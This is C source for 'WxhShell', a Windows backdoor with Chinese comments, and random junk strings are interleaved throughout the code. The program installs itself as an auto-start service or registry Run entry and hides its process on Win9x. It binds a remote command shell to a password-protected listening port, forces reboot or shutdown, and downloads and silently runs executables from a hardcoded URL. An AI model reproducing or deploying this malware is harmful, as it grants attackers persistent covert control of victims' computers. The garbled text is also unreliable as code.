qut HANDLE hProcess; nFn@Z'T$N PROCESS_BASIC_INFORMATION pbi; /!*gH1s p?X`f# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G([!(8&2Y if(NULL == hInst ) return 0; :X`Bc" =m4_8)-8u g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '42P=vzo g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B(GcPDj(K NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %DQ.f*% @42!\1YT if (!NtQueryInformationProcess) return 0; dpBG)Xzoyv 4K@`>Y5g* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z81{v<c; if(!hProcess) return 0; ]byj[Gd q >9F21 W if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [p+h b .kT5 4U;{ CloseHandle(hProcess); A|BvRZd nx(O]R,Sw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L}&U%eD if(hProcess==NULL) return 0; }xl
@:Qo nJTV@mXVq HMODULE hMod; ?^F#}>C char procName[255]; c0Tda unsigned long cbNeeded; U+!H/R)( R,hX *yVq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2S1wL<qP xi6Fs, 2S CloseHandle(hProcess); lrSo@JQ 9oteQN{9 if(strstr(procName,"services")) return 1; // 以服务启动 ^ftZ{uA 6N4/p=lE return 0; // 注册表启动 b|c?xHF}K } :v k+[PzJ i6[,m*q~2x // 主模块 0VV 1!g int StartWxhshell(LPSTR lpCmdLine) {)eV) 2a { %^=fjJGV{~ SOCKET wsl; Fc;)p88[ BOOL val=TRUE; `A\
!Gn? int port=0; y?-wjJS> struct sockaddr_in door; "R$ee^ JF >mybB if(wscfg.ws_autoins) Install();
##7, 2#nn}HEOC port=atoi(lpCmdLine); Pl=X<Bp Dg_/Iu>OAE if(port<=0) port=wscfg.ws_port; ^P-!pK* C!SB5G>OH WSADATA data; 63QSYn,t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +:2(xgOP.V 2-| oN/FD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #gOITXKs setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AM}-dKei| door.sin_family = AF_INET; GYiUne$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 31 |Vb door.sin_port = htons(port); I\sCH (r,RwWYm if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #(@dN+ closesocket(wsl); 1$fA9u$ return 1; apUV6h-v } F!VC19<1O8 17G7r\iNYq if(listen(wsl,2) == INVALID_SOCKET) { $Q|66/S^ closesocket(wsl); Nuk\8C return 1; &^thKXEC } ]?U:8% Wxhshell(wsl); J$PE7*NU WSACleanup(); muQ7sJ9
r ;w?zmj<Dm return 0; &l%#OI}OE 7/(C1II.Q } u~?]/-.TY $g#j, // 以NT服务方式启动 dL")E|\\k VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~s{$&N { oZ%t! Fl1 DWORD status = 0; "P< drz< DWORD specificError = 0xfffffff; m%q#x8Fp 3Nw9o6` U serviceStatus.dwServiceType = SERVICE_WIN32; E/_=0t serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8(%iYs$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W"|89\p} serviceStatus.dwWin32ExitCode = 0; FFtj5e serviceStatus.dwServiceSpecificExitCode = 0; G:'-|h serviceStatus.dwCheckPoint = 0; THK)G2
= serviceStatus.dwWaitHint = 0; G
<m{ o +98~OInySZ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SR~~rD|V if (hServiceStatusHandle==0) return; hvGb9 CN:
36 status = GetLastError(); 6ssZg@}nf{ if (status!=NO_ERROR) hW>@jT"t1C { Kd;|Z serviceStatus.dwCurrentState = SERVICE_STOPPED; qX:54$t serviceStatus.dwCheckPoint = 0; g<KBsz!{ serviceStatus.dwWaitHint = 0; NK*~UePy serviceStatus.dwWin32ExitCode = status; HI']{2p2}t serviceStatus.dwServiceSpecificExitCode = specificError; Qd]-i3^0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Old5E& return; M&@9B)|= } Abce]-E WJe serviceStatus.dwCurrentState = SERVICE_RUNNING; vyqlP;K serviceStatus.dwCheckPoint = 0; ^l_W9s serviceStatus.dwWaitHint = 0;
61T"K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y cOtPS% } )y.J2_lI8 ^#exsXy // 处理NT服务事件,比如:启动、停止 sKjg)3Sl VOID WINAPI NTServiceHandler(DWORD fdwControl) nb'],({:9 { Qo)>i0 switch(fdwControl) ^5u} { L ! yl^c case SERVICE_CONTROL_STOP: SLz^Wg._ serviceStatus.dwWin32ExitCode = 0; *8js{G0h serviceStatus.dwCurrentState = SERVICE_STOPPED; 9+=U&* serviceStatus.dwCheckPoint = 0; sP5PYNspA serviceStatus.dwWaitHint = 0; R$(,~~MH { <+sv7"a SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Z/P<u } 4<Bj;1*4 return; kHX- AsRc case SERVICE_CONTROL_PAUSE: 5@Ot@o serviceStatus.dwCurrentState = SERVICE_PAUSED; !K(0)~u break; ]_|qv1K6 case SERVICE_CONTROL_CONTINUE: hV'JTU]H serviceStatus.dwCurrentState = SERVICE_RUNNING; #12PO q break; yZ 6560(q case SERVICE_CONTROL_INTERROGATE: A#2Fd7& break; n`0}g_\q }; 3boINmX SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Medu?K
` } |nz,srr~ Gnj|y?' // 标准应用程序主函数 -`iZBC50 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FB6`2E%o { ~+QfP:G mWUQF"q8 // 获取操作系统版本 yWFDGk OsIsNt=GetOsVer(); h3>/..l GetModuleFileName(NULL,ExeFile,MAX_PATH); fX#Em'Ab[ `EBo(^n}O // 从命令行安装 =|pQA~UU# if(strpbrk(lpCmdLine,"iI")) Install(); U`IDZ{g GvF~h0wMt // 下载执行文件 &`pd&U{S* if(wscfg.ws_downexe) { 0j7\.aaK if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :s$ rD WinExec(wscfg.ws_filenam,SW_HIDE); 0z_e3H{P27 } uUwwR(R PRWS[2[yk if(!OsIsNt) { #r#UO // 如果时win9x,隐藏进程并且设置为注册表启动 ^0ipM/Lg HideProc(); ~F+{P4%`< StartWxhshell(lpCmdLine); vUvIZa } aJOhji<b#L else t_x\&+W if(StartFromService()) )g9Zw_3 // 以服务方式启动 [$;6LFs} StartServiceCtrlDispatcher(DispatchTable); pDCQ?VW else <i%.bfQ/- // 普通方式启动 +Q}Y ?([ StartWxhshell(lpCmdLine); mcpM<vY/H c3Y\XzV3v return 0; 68+9^ } HKb8z@;%@ ^6Hfq^ejt yFH)PQ_ &#w]
2~| =========================================== N'i%9SBcg a 5:YP o[O-|XL_ F%+/j5~^ I|n<B"Q6^ @i$9c)D " =UM30
P/ 2} /Z.)^Q #include <stdio.h> ' n#;~ #include <string.h> uqXvN'Jr #include <windows.h> 4!XB?-. #include <winsock2.h> O!\P]W4r$ #include <winsvc.h> 25::z9i #include <urlmon.h> r-9P&*1 O3j:Y|N@F #pragma comment (lib, "Ws2_32.lib") gieTkZ #pragma comment (lib, "urlmon.lib") &BFW`5N m@u!frE, #define MAX_USER 100 // 最大客户端连接数 =^|^"b #define BUF_SOCK 200 // sock buffer Zq}w}v #define KEY_BUFF 255 // 输入 buffer B<I%:SkF@ c'vxT<8fWW #define REBOOT 0 // 重启 (es+VI2!&C #define SHUTDOWN 1 // 关机 ic%<39 +5JCbT@y #define DEF_PORT 5000 // 监听端口 nws '%MK) =%%\b_\L #define REG_LEN 16 // 注册表键长度 w9SPkPkYE #define SVC_LEN 80 // NT服务名长度 VL?ubt< SWNi@ // 从dll定义API |ITp$_S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4askQV &hj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (/a2#iW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <IC=x(T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S1E=E5 ug.mY= n' // wxhshell配置信息 1y2D]h /' struct WSCFG { J{
P<^<m_ int ws_port; // 监听端口 \3-XXq char ws_passstr[REG_LEN]; // 口令 !\'7j-6 int ws_autoins; // 安装标记, 1=yes 0=no +?w 7Nm` char ws_regname[REG_LEN]; // 注册表键名 GLp2
?fon char ws_svcname[REG_LEN]; // 服务名 #5wOgOv char ws_svcdisp[SVC_LEN]; // 服务显示名 hq6B
pE char ws_svcdesc[SVC_LEN]; // 服务描述信息 &na#ES$X, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =;W"Pi;* int ws_downexe; // 下载执行标记, 1=yes 0=no .0:BgM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3{LXx char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O#7ONQfBO Hzcy' }; :2pd2 S XI}
C|]# // default Wxhshell configuration <Bn^+u \ struct WSCFG wscfg={DEF_PORT, z\Rs?v" "xuhuanlingzhe", 3l_Ko%qS 1, X/gIH/ "Wxhshell", gbsRf&4h "Wxhshell", OL4I}^*, "WxhShell Service", !
@{rkp "Wrsky Windows CmdShell Service", 1P.
W 34 "Please Input Your Password: ", ^VK-[Sz& 1, :9Zu&t "http://www.wrsky.com/wxhshell.exe", nm'sub "Wxhshell.exe" 11glFe }; %<lfe<;^t (%}T\~`1z# // 消息定义模块 0 #pjfc `: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A[oLV"J6x5 char *msg_ws_prompt="\n\r? for help\n\r#>"; W$B&asO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *;"N kCf char *msg_ws_ext="\n\rExit."; bY|%ois4 char *msg_ws_end="\n\rQuit."; #+N\u*-S char *msg_ws_boot="\n\rReboot..."; bE#=\kf| char *msg_ws_poff="\n\rShutdown..."; 1t_$pDF} char *msg_ws_down="\n\rSave to "; veFl0ILd Gtd!Y
x char *msg_ws_err="\n\rErr!"; )xX(Et6+` char *msg_ws_ok="\n\rOK!"; 9I0/KuZd
O :y==O4 char ExeFile[MAX_PATH]; ]sjYxe int nUser = 0; =2] .G Gg HANDLE handles[MAX_USER]; dB+x,+%u+ int OsIsNt; ?VrZM r5jiB L~ SERVICE_STATUS serviceStatus; Y]/(R"-2G SERVICE_STATUS_HANDLE hServiceStatusHandle; v_)a=I%o&2 IMIZ#/ // 函数声明 Fh9%5-t:J int Install(void); SlB,?R2 int Uninstall(void); qR4(' int DownloadFile(char *sURL, SOCKET wsh); j/4N int Boot(int flag); )8kcOBG^L void HideProc(void); }YW0?-G.$ int GetOsVer(void); ,Dfq%~:grT int Wxhshell(SOCKET wsl); E1IRb': void TalkWithClient(void *cs); )X@Obg int CmdShell(SOCKET sock); @'C f<wns int StartFromService(void); {Z 3t0F int StartWxhshell(LPSTR lpCmdLine); L]hXAShmb
@[u! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .F:qJ6E VOID WINAPI NTServiceHandler( DWORD fdwControl ); b#bdz1@s iDt^4=` // 数据结构和表定义 vDZhoD=VR SERVICE_TABLE_ENTRY DispatchTable[] = DeE-M" { %lNv?sWb {wscfg.ws_svcname, NTServiceMain}, _I8L#4\(= {NULL, NULL} W7>4-gk }; 5tT-[mQ* agQzA/Xt // 自我安装 0L"CM?C int Install(void) iwWy]V m7 { |-4C[5rM char svExeFile[MAX_PATH]; `,i'vb`W#b HKEY key; fZL%H0& strcpy(svExeFile,ExeFile); x|i"x+o ;F9<Yv // 如果是win9x系统,修改注册表设为自启动 b}S}OW2 if(!OsIsNt) { #mlTN3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zq=t&$* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ug_5INK RegCloseKey(key); Qna
^Ry?6) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !-b4@=f: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,cPNZ-% RegCloseKey(key); rLs)*A! return 0; Y^m2ealC } +N5#EpW } 2ME"=!&5 } N(>a-a else { 6NH.!}"G9 Eb SH)aR // 如果是NT以上系统,安装为系统服务 x^Tjs<# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @GqPU,RO if (schSCManager!=0) 1{4d)z UB { [Av#Z)R SC_HANDLE schService = CreateService fN~kdm. ( Mnyg:y*= schSCManager, biG=4?Xl wscfg.ws_svcname, Tl5K'3 wscfg.ws_svcdisp, sY+U$BYB> SERVICE_ALL_ACCESS, Kdh(vNB> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }1]/dCv SERVICE_AUTO_START, *6^|i} SERVICE_ERROR_NORMAL, wLC!vX.S svExeFile, 4v9zFJ<Z NULL, TU$PAwn= NULL, [tsi8r=T NULL, LO]D
XW 9 NULL, y
,isK NULL `l@[8H%aw ); "r @RDw
if (schService!=0) r/1:!Vu( { 0#4_vg . CloseServiceHandle(schService); ;l>
xXSB7$ CloseServiceHandle(schSCManager); F+PIZ% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hLFf strcat(svExeFile,wscfg.ws_svcname); (rO_Vfaa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F>jPr8& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~t[ #p: RegCloseKey(key); 0}Rxe return 0; \]GO*]CaV } 'Wjuv9)/ } H `y.jSNi CloseServiceHandle(schSCManager); v1<gNb)` } `bu3S}m7 } Y(GH/jw yjs5=\@ return 1; J"QXu M } 3Yf%M66t L0uvRge // 自我卸载 #\N?ka}! int Uninstall(void) 'ah|cMRn { H
.)}| HKEY key; EQ`;=I3J9y kf\n
if(!OsIsNt) { Yao>F--? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '<~rV RegDeleteValue(key,wscfg.ws_regname); w]]`/` RegCloseKey(key); d=V4,:=S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W[PZQCL}K) RegDeleteValue(key,wscfg.ws_regname); IF~i* RegCloseKey(key); :0IxnK(r& return 0; _'<V<OjVM! } g0Qg]F5D~ } -
{<`Z } kRs[H xI3 else { ~r;da 9 5MV4N[; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &;L4Cj$q if (schSCManager!=0) }MP2)6 { FP<RoA?W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KJWYG^zI if (schService!=0) 9+@"DuYc6 { xal,j* if(DeleteService(schService)!=0) { 75i
M_e\ CloseServiceHandle(schService); i@e.Uzn CloseServiceHandle(schSCManager); /*p4(D_A return 0; d,[.=Jqv[ } S+H#^WSt CloseServiceHandle(schService); c\FyX\i } 6G6Hg&B CloseServiceHandle(schSCManager); nL!h hseH } *-$u\?$ } hj64ES#x k|0Fa}Z[ return 1; ya5a7 } #3u3WTk+ & tQHxiDX // 从指定url下载文件 y?O{J!U int DownloadFile(char *sURL, SOCKET wsh) hu~02v5 { EquNg@25W HRESULT hr; {%D!~,4Ht char seps[]= "/"; `%AFKmc^; char *token; |57KTiiNLI char *file; /{ YUM~ char myURL[MAX_PATH]; UT[nzbG char myFILE[MAX_PATH]; @v_E'
9QG^ w8:F^{ strcpy(myURL,sURL); 5~k-c Ua token=strtok(myURL,seps); idnn%iO while(token!=NULL) i,rP/A^q {
Y<TlvB)w file=token; ONJW*!( token=strtok(NULL,seps); X@Eq5s } ,{ CgOz+Ul VOwt2&mZ GetCurrentDirectory(MAX_PATH,myFILE); ?2[=llS4 strcat(myFILE, "\\"); fOiLb.BW strcat(myFILE, file); k/AcXU%O+ send(wsh,myFILE,strlen(myFILE),0); l2GMVAca send(wsh,"...",3,0); 8OH<ppi hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ASY
uZ if(hr==S_OK) 6CO>Tg:% return 0; V\ch0i
1 else RI w6i?/I return 1; =bs4*[zq F3jrJ+nJ } XOa<R &=fBqod // 系统电源模块 /eDah3%d int Boot(int flag) 2#_9x7g+ { PN/2EmwtC HANDLE hToken; F`8A!|cIy TOKEN_PRIVILEGES tkp; RyD2LAf)J G+4a%?JH if(OsIsNt) { R4!qm0Cd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O/_}O_rR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7}Z.g9< tkp.PrivilegeCount = 1; QI~s~j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \sHM[nF0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g _;5" if(flag==REBOOT) { W6'+#Fp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @)&b..c?_ return 0; C
fQj7{ } +f\tqucI3 else { vq$%Ug/B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \F,?ptu return 0; ;1S{xd*^N } ]w%7/N0R } c}Jy'F7&f else { V)R-w` if(flag==REBOOT) { N\H{p%8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \ ^EjE return 0; eC9~
wc } ]=9%fA else { q "bpI8j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 598xV|TON return 0; aFo%B; 8m } 6`NsX } =N<Hc:<t4 L"zOa90ig return 1; R.A}tV=j# } 6BW-AZc r d]HoFE // win9x进程隐藏模块 }n=Tw92g void HideProc(void) .)|jBC8|} { [HF)d#A $>/J8iB HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y>2v 9;Qp if ( hKernel != NULL ) %'\D_W& { pSQ3SM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <WaiJy? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PZLW yp FreeLibrary(hKernel); #Vul#JHW } #.9Xkn9S dp)lHBV return; )~d2`1zGS } Ze WHSU
(4ow0}1 // 获取操作系统版本 G2a fHL< int GetOsVer(void) FD|R4 V*3 { G D[~4G OSVERSIONINFO winfo; n$`Nx\ v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H=X>o.iVqi GetVersionEx(&winfo); d q:M!F if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Btpx[T return 1; NXeo&+F else TM!R[-\ return 0; U{>!`RN } m{%_5 nW 5`x9+XvoN // 客户端句柄模块 4
CX*,7LZ int Wxhshell(SOCKET wsl) >z^T~@m7l { C+5^[V SOCKET wsh; @GnsW;$*~. struct sockaddr_in client; 8>pFpS DWORD myID; [n74&EH ]-x#zp;= while(nUser<MAX_USER) ?N11R?8 { 7MGc+M(p int nSize=sizeof(client); ,z%F="@b9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Crpkq/ M if(wsh==INVALID_SOCKET) return 1; bs+KcY:N] CdZ;ZR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &~E=T3 if(handles[nUser]==0) i;|%hDNWA closesocket(wsh); ACyQsmqm: else ^D.B^BR nUser++; !+>yCy$~_ } -vjjcyTt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JAB]kNvI Iu1P}R>C return 0; DN^ln%# } X]1ep X/7: * // 关闭 socket cK-!Evv void CloseIt(SOCKET wsh) zLxWyPM0; { {'!D2y.7g closesocket(wsh); Do_L nUser--; ^f`#8G7 ( ExitThread(0); Rdnd| } "9WP^[ ^<% w'*gR // 客户端请求句柄 uxh4nyE void TalkWithClient(void *cs) k*M{?4 { YRYrR|I RhQOl9 SOCKET wsh=(SOCKET)cs; Ix *KL=MG char pwd[SVC_LEN]; 'HqAm$V+ char cmd[KEY_BUFF]; >_F&oA# char chr[1]; AOWI` int i,j; t?0=;.D Nc"h8p? while (nUser < MAX_USER) { uO^{+=;A= X&p-Ge1>z if(wscfg.ws_passstr) { fi?[ e?|c@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %pwm34 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MfL q
h //ZeroMemory(pwd,KEY_BUFF); ^k)f oD i=0; +=}%
7o while(i<SVC_LEN) { e.HN%LrhS <0kRky$ // 设置超时 (g4g-"rc fd_set FdRead; (c}0Sg struct timeval TimeOut; {M%"z,GL7J FD_ZERO(&FdRead); C*78ZwZ FD_SET(wsh,&FdRead); d>AVUf<o~ TimeOut.tv_sec=8; 8\a)}k~4 TimeOut.tv_usec=0; a"&Z!A:Z= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sztnRX_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mys;Il" L>L4%? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b _u&% pwd=chr[0]; F2:7UNy, if(chr[0]==0xd || chr[0]==0xa) { u8W*_;%: pwd=0; $ o t"Du break; d&ZwVF! } 4\$Ze0tv i++; /60[T@Mz } ;^*^
:L {:oZ&y)Ac // 如果是非法用户,关闭 socket g
Sa ,A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
#!hpe^t } }j:ae \( S"eKiS,z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >`NM?KP s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? {l2 m+u>%Ys` while(1) { )5&m:R9 sO ZeroMemory(cmd,KEY_BUFF); FSBCk J-QQ!qa0 // 自动支持客户端 telnet标准 e6_.ID'3 j=0; 2;&13%@! while(j<KEY_BUFF) { !
\gRXP} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); We4 FR4` cmd[j]=chr[0]; vc!S{4bN if(chr[0]==0xa || chr[0]==0xd) { Wh<lmC50( cmd[j]=0; _Ng*K]0/E break; rxz3Mqg } ad~ qr n\ j++; GqAedz ;. } %fyb?6?Y xH
f9N? // 下载文件 sEj:%`l| if(strstr(cmd,"http://")) { 7<tqT
@c send(wsh,msg_ws_down,strlen(msg_ws_down),0); wM yPR_ if(DownloadFile(cmd,wsh)) M"FAUqz` send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZ#tB else ,Utw!] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |knP } \LYQZ*F else { cwD0 ~B
b:3hKW switch(cmd[0]) { zk/!#5JtK $e;!nI;z // 帮助 dyp]y$ case '?': { 0F3>kp4u send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WR-C_1-pT break; jQr~@15J# } $XI<s$P%(% // 安装 PRLV1o1# case 'i': { ljis3{kn"" if(Install()) $Us@fJr send(wsh,msg_ws_err,strlen(msg_ws_err),0); kg61Dgu else ;`+RSr^8$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sogbD9Jc break; M$?6
' } 5ya3mNE // 卸载 nn
case 'r': { x2B"%3th0 if(Uninstall()) X @Bpjg send(wsh,msg_ws_err,strlen(msg_ws_err),0); R P X`2zr else m ZhVpIUO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xWwPrd break; v-gT
3kJ } rzmk-V // 显示 wxhshell 所在路径 'H'+6 case 'p': { h@~X*yLKh char svExeFile[MAX_PATH]; iR_Syk`G*A strcpy(svExeFile,"\n\r"); ICTtubjV" strcat(svExeFile,ExeFile); B5cyX*! ? send(wsh,svExeFile,strlen(svExeFile),0); '; dW'Uwc break; E5t+;vL~ } =c.q]/M // 重启 "^=[*i case 'b': { 9e)+<H send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d-<y'GYw
if(Boot(REBOOT)) h.9Lh ;j send(wsh,msg_ws_err,strlen(msg_ws_err),0); (XwLKkw0n else { uy9B8&Sr closesocket(wsh); IX*S:7S[ ExitThread(0); )e2IT*7 } `p{!5 break; vg.%. ~!9 } -5cH$]1\ // 关机 cMWO_$ case 'd': { qQcC[50 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bZ9NnSuH if(Boot(SHUTDOWN)) }J?fJ( send(wsh,msg_ws_err,strlen(msg_ws_err),0); I:_*8el&d else { {^kG<v.vV closesocket(wsh); QO7:iSZJ ExitThread(0); by
U\I5 } ?iLd5 Z break; ,?`1ve_K< } IeB6r+4| // 获取shell NslA/"* case 's': { H|)1T-% CmdShell(wsh); :ky<`Jfr` closesocket(wsh); 9$,gTU_a ExitThread(0); P{Z71a5 break; ?R]y}6P$ } ye|a#a9N // 退出 oyt//SE case 'x': { {~^)-^Wt: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T"H)g CloseIt(wsh); JZ%F break; $vLV<
y07 } ,/:a77 // 离开 bQy%$7UmX, case 'q': { P082.:q" send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2E2}|:
||& closesocket(wsh); rH9}nL WSACleanup(); bXH^Bm exit(1); 0#[f2X62B break; VDKS_n } kxW>Da<6 } !"J#,e| } p}A4K#G dT)KvqX // 提示信息 eM+;x\jo? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -z0{\=@#m } !NYM(6!( } gc@#O#K~h^ &7w>K6p return; M6'C 3,y0 } ,GJ>vT) T4=3VrS // shell模块句柄 n]DN xC@b int CmdShell(SOCKET sock) P"x-7>c>Y
{ 1 j12Qn@] STARTUPINFO si; bez'[Y{ ZeroMemory(&si,sizeof(si)); R5eB,FN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -t6R!ZI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T#n1@FgC PROCESS_INFORMATION ProcessInfo; zf,%BI[Hr char cmdline[]="cmd"; e4Ox`gLa*p CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7+a%ehwU return 0; F> QT| } !049K!rP{ `SjD/vNE // 自身启动模式 [b.'3a++ int StartFromService(void) Yb\\
w<@g { iEpq*Qj typedef struct "b>KUzuYT { d%lHa??/h DWORD ExitStatus; =*g$#l4 DWORD PebBaseAddress; 2d2@ J{ DWORD AffinityMask; [9O~$! <% DWORD BasePriority; E,LYS"%_ ULONG UniqueProcessId; F[kW:-ne@Z ULONG InheritedFromUniqueProcessId; zZ9<4"CIk } PROCESS_BASIC_INFORMATION; 9*|3E"Vr hY}/Y PROCNTQSIP NtQueryInformationProcess; v0C;j(2zb ?JgO-. static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H_?B{We static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d{yIy'+0/ pf8O`e,Awf HANDLE hProcess; $}nh[@ PROCESS_BASIC_INFORMATION pbi; XalJo@%- 9c6GYWIFt& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h
??C4z if(NULL == hInst ) return 0; c',:@2R &'(a$S>v g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q+d.%qhc g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [2'm`tZL NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v1nQs=' Fi'M"^:r{ if (!NtQueryInformationProcess) return 0; (]Ye[j^"7 O wA~( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (9}eF)+O if(!hProcess) return 0;
